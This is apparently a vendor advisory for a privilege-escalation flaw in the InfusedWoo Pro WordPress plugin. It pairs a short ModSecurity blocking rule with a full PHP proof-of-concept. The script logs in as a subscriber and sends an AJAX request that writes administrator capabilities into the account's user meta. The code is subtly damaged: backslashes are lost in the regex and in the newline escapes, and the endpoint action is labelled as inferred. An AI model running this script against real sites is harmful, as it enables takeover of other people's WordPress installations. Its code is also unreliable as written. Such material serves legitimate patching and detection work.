CVE-2026-6506: InfusedWoo Pro <= 5.1.2 – Authenticated (Subscriber+) Missing Authorization to Privilege Escalation via Arbitrary User Meta Update (infusedwooPRO)

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6506 - InfusedWoo Pro Privilege Escalation via AJAX',severity:'CRITICAL',tag:'CVE-2026-6506'"
SecRule ARGS_POST:action "@streq infusedwoo_gdpr_upddata" "chain"
SecRule ARGS_POST:meta_key "@streq wp_capabilities" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6506 - InfusedWoo Pro <= 5.1.2 - Authenticated (Subscriber+) Missing Authorization to Privilege Escalation via Arbitrary User Meta Update

// Configuration - set these before running
$target_url = 'http://example.com'; // Root URL of the WordPress site (no trailing slash)
$username = 'attacker';             // Username with subscriber role or higher
$password = 'attacker_password';    // Password for the user

// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get current user ID from the admin area (optional but helpful for dynamic ID)
$admin_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$profile_page = curl_exec($ch);
curl_close($ch);

// Extract user_id from the profile page (look for 'user_id' hidden field)
preg_match('/<input type="hidden" name="user_id" value="(d+)"/', $profile_page, $matches);
if (isset($matches[1])) {
    $user_id = $matches[1];
} else {
    // Fallback: assume the attacker user ID is 2 (common for first created subscriber)
    $user_id = 2;
    echo "Warning: Could not extract user ID, using fallback value $user_idn";
}

// Step 3: Craft the privilege escalation payload
// The wp_capabilities meta value must be a serialized array granting administrator
$new_caps = array(
    'administrator' => true
);
$serialized_caps = serialize($new_caps);

// Construct AJAX request to the vulnerable endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
    'action' => 'infusedwoo_gdpr_upddata', // Inferred action hook based on function name
    'user_id' => $user_id,
    'meta_key' => 'wp_capabilities',
    'meta_value' => $serialized_caps
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_VERBOSE, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsenn";

echo "Privilege escalation attempt completed.n";
echo "If successful, the user '$username' should now have administrator privileges.n";
echo "You can verify by logging in and checking the Dashboard for admin features.n";
?>